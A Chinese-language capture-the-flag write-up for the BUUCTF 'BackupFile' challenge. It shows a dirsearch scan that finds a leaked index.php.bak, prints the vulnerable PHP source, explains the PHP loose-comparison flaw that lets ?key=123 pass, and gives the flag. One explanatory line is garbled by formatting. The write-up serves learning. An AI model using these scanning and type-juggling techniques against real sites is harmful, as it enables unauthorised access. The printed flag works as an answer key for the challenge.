【BUUCTF】[ACTF2020 新生赛] BackupFile Writeup

【BUUCTF】[ACTF2020 新生赛]BackupFile Writeup

  • 0x00 考点
  • 0x01 解题

0x00 考点

  • PHP 弱类型比较
  • -目录扫描
  • 备份文件泄露
    .rar
    .zip
    .7z
    .tar.gz
    .bak
    .swp
    .txt
    .html

0x01 解题

【BUUCTF】[ACTF2020 新生赛] BackupFile Writeup_第1张图片

【BUUCTF】[ACTF2020 新生赛] BackupFile Writeup_第2张图片
御剑没扫出来
【BUUCTF】[ACTF2020 新生赛] BackupFile Writeup_第3张图片

dirmap没扫出来
【BUUCTF】[ACTF2020 新生赛] BackupFile Writeup_第4张图片

dirsearch扫出
【BUUCTF】[ACTF2020 新生赛] BackupFile Writeup_第5张图片

dirmap + dirsearch 安装和使用教程

您也可以试试burp suite目录遍历

>﹏<

本着不放弃不抛弃的原则,多次努力摸索…

py -3 dirsearch.py  -u http://841cf5e9-dc78-4845-8749-dee96e22f4a9.node3.buuoj.cn/ -e *

【BUUCTF】[ACTF2020 新生赛] BackupFile Writeup_第6张图片
居然真的有??

index.php.bak

【BUUCTF】[ACTF2020 新生赛] BackupFile Writeup_第7张图片

<?php
include_once "flag.php";

if(isset($_GET['key'])) {
    $key = $_GET['key'];
    if(!is_numeric($key)) {
        exit("Just num!");
    }
    $key = intval($key);
    $str = "123ffwsfwefwf24r2f32ir23jrw923rskfjwtsw54w3";
    if($key == $str) {
        echo $flag;
    }
}
else {
    echo "Try to find out source file!";
}
  • $key GET传入数值
  • is_numeric函数进行判断是否是数字,接着与 s t r 进 行 比 较 , str进行比较, strstr是一串字母和数字的字母串
  • == PHP 弱类型比较,int和string无法直接比较,php会将string转换成int,然后再进行比较,转换成int比较时只保留数字,第一个字符串之后的所有内容会被截掉,str隐性的转换成整型123
?key=123

flag{8e6d4f8b-0f80-4ce7-9f70-0e7042267922}

你可能感兴趣的:(Web安全,php,字符串,python,安全,ctf)